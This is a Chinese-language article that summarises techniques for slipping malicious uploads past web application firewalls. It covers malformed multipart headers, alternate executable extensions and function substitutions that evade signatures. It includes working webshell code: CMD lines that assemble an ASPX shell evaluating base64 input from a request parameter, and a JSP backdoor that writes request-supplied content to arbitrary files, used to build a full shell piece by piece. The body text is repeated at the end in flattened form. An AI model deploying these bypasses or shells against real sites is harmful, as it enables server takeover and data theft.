文件上传突破waf总结
字数 760 2025-08-25 22:58:41

文件上传WAF绕过技术总结

前言

在当今网络安全环境中,Web应用防火墙(WAF)已成为文件上传漏洞利用的主要障碍。本文总结了多种有效的文件上传WAF绕过技术,涵盖扩展名检测和内容检测两大方面的绕过方法。

一、扩展名检测绕过

1. 使用黑名单之外的扩展名

  • ASPX → ASHX
  • JSP → JSPX、JSp(大小写混淆)
  • 其他不常见但可执行的扩展名

2. 构造畸形数据包

(1) 删除Content-Type头

直接移除Content-Type字段可能使WAF无法正确识别文件类型

(2) 构造多个filename字段

示例变形:

Content-Disposition: form-data; name="file"; filename="100x100.jsp"; filename="test.jpg"

Content-Disposition: form-data; name="file"; filename="100x100.jsp
Content-Disposition: form-data; name="file"; filename="test.jpg"

(3) 畸形filename参数

  • 添加多余双引号:
Content-Disposition: form-data; name="file"; filename="100x100.jsp""
  • 其他特殊字符干扰

二、内容检测绕过

1. 图片马技术

将恶意代码嵌入图片文件中(虽然现代WAF已加强对此的检测)

2. 文件包含技术

  • PHP远程文件包含
  • Java反射调用外部JAR
  • 注意:相关包含函数可能也会被检测

3. 敏感内容替换

通过替代函数/类实现相同功能:

Java示例

  • 替换Runtime.getRuntime().exec()
// 使用ProcessBuilder替代
new ProcessBuilder("cmd").start();
  • 替换FileOutputStream
// 使用RandomAccessFile替代
RandomAccessFile randomFile = new RandomAccessFile(filePath, "rw");
randomFile.write(content.getBytes());

定位被检测内容的方法

  1. 逐步删除/修改代码段
  2. 测试哪部分触发WAF
  3. 查找替代实现方案

4. 分步上传技术

当无法直接上传完整shell时:

(1) 上传基础功能脚本

  • 文件写入功能
  • 基础命令执行功能

(2) 分步构建完整shell

Windows CMD示例

>>d:\xxx\dao.aspx set/p=^<%@ Page Language="Jscript"%^>
>>d:\xxx\dao.aspx set/p=^<%ev
>>d:\xxx\dao.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["zz"])))),"unsafe");%^>

Java分步写入示例

  1. 上传基础写文件脚本:
<%@ page import = "java.io.*" %>
<% 
RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+ "/" + request.getParameter("f"), "rw"); 
long fileLength = randomFile.length(); 
randomFile.seek(fileLength); 
randomFile.write(request.getParameter("c").getBytes()); 
%>
  1. 使用Burp Intruder分块写入:
参数 f=/shell.jsp&c=<分块内容>

结语

WAF绕过是一个持续对抗的过程,需要根据具体WAF行为灵活组合各种技术。本文介绍的方法在实际测试中已证明有效,但需注意不同WAF产品的检测机制可能有所不同,需要不断测试和调整策略。

文件上传WAF绕过技术总结 前言 在当今网络安全环境中,Web应用防火墙(WAF)已成为文件上传漏洞利用的主要障碍。本文总结了多种有效的文件上传WAF绕过技术,涵盖扩展名检测和内容检测两大方面的绕过方法。 一、扩展名检测绕过 1. 使用黑名单之外的扩展名 ASPX → ASHX JSP → JSPX、JSp(大小写混淆) 其他不常见但可执行的扩展名 2. 构造畸形数据包 (1) 删除Content-Type头 直接移除Content-Type字段可能使WAF无法正确识别文件类型 (2) 构造多个filename字段 示例变形: 或 (3) 畸形filename参数 添加多余双引号: 其他特殊字符干扰 二、内容检测绕过 1. 图片马技术 将恶意代码嵌入图片文件中(虽然现代WAF已加强对此的检测) 2. 文件包含技术 PHP远程文件包含 Java反射调用外部JAR 注意:相关包含函数可能也会被检测 3. 敏感内容替换 通过替代函数/类实现相同功能: Java示例 替换 Runtime.getRuntime().exec() : 替换 FileOutputStream : 定位被检测内容的方法 逐步删除/修改代码段 测试哪部分触发WAF 查找替代实现方案 4. 分步上传技术 当无法直接上传完整shell时: (1) 上传基础功能脚本 文件写入功能 基础命令执行功能 (2) 分步构建完整shell Windows CMD示例 : Java分步写入示例 : 上传基础写文件脚本: 使用Burp Intruder分块写入: 结语 WAF绕过是一个持续对抗的过程,需要根据具体WAF行为灵活组合各种技术。本文介绍的方法在实际测试中已证明有效,但需注意不同WAF产品的检测机制可能有所不同,需要不断测试和调整策略。